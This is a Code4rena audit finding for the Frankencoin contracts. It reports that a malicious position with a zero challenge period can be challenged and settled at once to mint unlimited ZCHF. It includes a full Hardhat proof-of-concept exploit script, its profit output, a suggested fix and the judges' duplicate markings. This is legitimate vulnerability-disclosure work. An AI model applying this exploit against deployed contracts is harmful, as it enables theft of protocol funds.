Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 60/199
Findings: 2
Award: $57.66
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L280
The attacker can obtain unlimited ZCHF to drain all the value of the protocol.
The function openPosition
in the contract MintingHub
can be invoked by anyone to create a position with OPEN_FEE ZCHF.
A position with insufficient collateral can be challenged by anyone through an auction mechanism. At the end of challenge period (set by the position owner), the successful challenger can not only get the collateral of the position but also get additional rewards (default to 2%).
Attacker can profit if the reward of the challenge is more than the cost of opening the position.
Specifically, an attacker can invoke the function openPosition
in the contract MintingHub
with X ZCHF as the collateral and 0 challenge period to create a molicious position, which means it can be challenged immediately.
Then he launchs a challenge to this position with Y ZCHF as challenge collateral throughing the function launchChallenge
in the contract MintingHub
and trigers the function end
in the contract MintingHub
to end the challenge immediately.
In the function end
, the Y challenge collaterals are refunded first (in the function returnCollateral
, Line 256). Then it notifies the position by calling the function notifyChallengeSucceeded
in the contract Position
to withdraw all position collaterals (Y ZCHF).
Finally, it distributes the Z ZCHF reaward recording the volume and notifies the contract Frankencoin
to withdraw ZCHF from the reserve (i.e. the contract Equity
) or mint directly When there is no enough ZCHF.
The attacker can obtain unlimited ZCHF if the reward Z greater than the OPEN_FEE, which can be easily achieved.
UPDATE: The OPEN_FEE will become FPS, which can be redeemed (so there is almost no cost for this attack.)
https://github.com/jan91e/2023-04-frankencoin/blob/issue1/test/BasicTests.ts (Will public after the competition)
the test script is as follow:
// @ts-nocheck import {expect} from "chai"; import { BigNumber } from "ethers"; import { floatToDec18 } from "../scripts/math"; const { ethers, network } = require("hardhat"); const BN = ethers.BigNumber; import { createContract } from "../scripts/utils"; let ZCHFContract, positionFactoryContract, equityAddr, equityContract, mintingHub, accounts; let owner, faucet; describe("Basic Tests", () => { function capitalToShares(totalCapital, totalShares, dCapital) { if (totalShares==0) { return 1000; } else { return totalShares *( ((totalCapital +dCapital)/totalCapital)**(1/3) - 1 ); } } function sharesToCapital(totalCapital, totalShares, dShares) { return -totalCapital *( ((totalShares - dShares)/totalShares)**(3) - 1 ); } function BNToHexNoPrefix(n) { let num0x0X = BN.from(n).toHexString(); return num0x0X.replace("0x0", "0x"); } async function mineNBlocks(n) { // hardhat_mine does not accept hex numbers that start with 0x0, // hence convert await network.provider.send("hardhat_mine", [BNToHexNoPrefix(n)]); } async function blockTime() { const currentBlock = await ethers.provider.getBlockNumber(); const blockTimestamp = (await ethers.provider.getBlock(currentBlock)).timestamp; return blockTimestamp; } function calcCreateAddress(sender, nonce) { const nonce_rlp_data = nonce == 0 ? new Uint8Array() : ethers.utils.hexlify(BigNumber.from(nonce).toHexString()); const hash = ethers.utils.keccak256( ethers.utils.RLP.encode([sender, nonce_rlp_data]) ); return ethers.utils.getAddress("0x" + hash.slice(26)); } before(async () => { accounts = await ethers.getSigners(); owner = accounts[0]; faucet = accounts[1]; // create contracts // 10 day application period ZCHFContract = await createContract("Frankencoin", [10 * 86_400]); equityAddr = ZCHFContract.reserve(); equityContract = await ethers.getContractAt('Equity', equityAddr, accounts[0]); positionFactoryContract = await createContract("PositionFactory"); mintingHub = await createContract("MintingHub", [ZCHFContract.address, positionFactoryContract.address]); let applicationPeriod = BN.from(0); let applicationFee = BN.from(0); let msg = "Minting Hub" await expect(ZCHFContract.suggestMinter(mintingHub.address, applicationPeriod, applicationFee, msg)).to.emit(ZCHFContract, "MinterApplied"); await expect(ZCHFContract.suggestMinter(faucet.address, applicationPeriod, applicationFee, msg)).to.emit(ZCHFContract, "MinterApplied"); // increase block to be a minter await ethers.provider.send('evm_increaseTime', [60]); await network.provider.send("evm_mine"); expect(await ZCHFContract.isMinter(mintingHub.address)).to.be.true; expect(await ZCHFContract.isMinter(faucet.address)).to.be.true; }); describe("pocs", () => { it("[Critical] issue-1: Use malicious position to get unlimited ZCHF",async () => { const attacker = accounts[2]; // Step 1: obtain ZCHF from faucet (just for mock, it can be achieved through DEX / Lending / FlashLoan in the real world) await ZCHFContract.connect(faucet)["mint(address,uint256)"](attacker.address, floatToDec18(8001000)); // Step 2: use ZCHF as collateral to open a malicious position with 0 chanllenge period (it can be chellenged immediately) let collateral = ZCHFContract.address; let fliqPrice = floatToDec18(4000000); let minCollateral = 0; let fInitialCollateral = floatToDec18(1000); let initialLimit = ethers.constants.MaxUint256; let duration = BN.from(14*86_400); let fee = 0.01; let fFees = BN.from(fee * 1000_000); let reserve = 0.10; let fReserve = BN.from(reserve * 1000_000); let challengePeriod = 0; await ZCHFContract.connect(attacker)["approve(address,uint256)"](mintingHub.address,ethers.constants.MaxUint256); const nonce = parseInt(await network.provider.send("eth_getTransactionCount", [ positionFactoryContract.address ])); const pos = calcCreateAddress(positionFactoryContract.address, nonce); const ZCHFBalBefore = await ZCHFContract.balanceOf(attacker.address); await mintingHub.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"]( collateral, minCollateral, fInitialCollateral, initialLimit, duration, challengePeriod, fFees, fliqPrice, fReserve ); // Step 3: Luanch a challenge for the malicious position created await mintingHub.connect(attacker)["launchChallenge(address,uint256)"]( pos, fInitialCollateral ); // Step 4: End the challenge immediately await mintingHub.connect(attacker)["end(uint256,bool)"]( 0, false ); const ZCHFBalAfter = await ZCHFContract.balanceOf(attacker.address); console.log(`ZCHF Balance of attacker: before = ${ZCHFBalBefore}, after = ${ZCHFBalAfter}`) console.log(`Profits: ${ZCHFBalAfter.sub(ZCHFBalBefore)}`); }) }) });
The result:
Basic Tests pocs ZCHF Balance of attacker: before = 8001000000000000000000000, after = 88000000000000000000000000 Profits: 79999000000000000000000000 ✓ [Critical] issue-1: Use malicious position to get unlimited ZCHF
manually
Disable the ZCHF as the position collateral or set the minimum value for the challenge period.
#0 - c4-pre-sort
2023-04-21T14:50:58Z
0xA5DF marked the issue as duplicate of #830
#1 - c4-pre-sort
2023-04-24T18:48:50Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:41:33Z
hansfriese marked the issue as satisfactory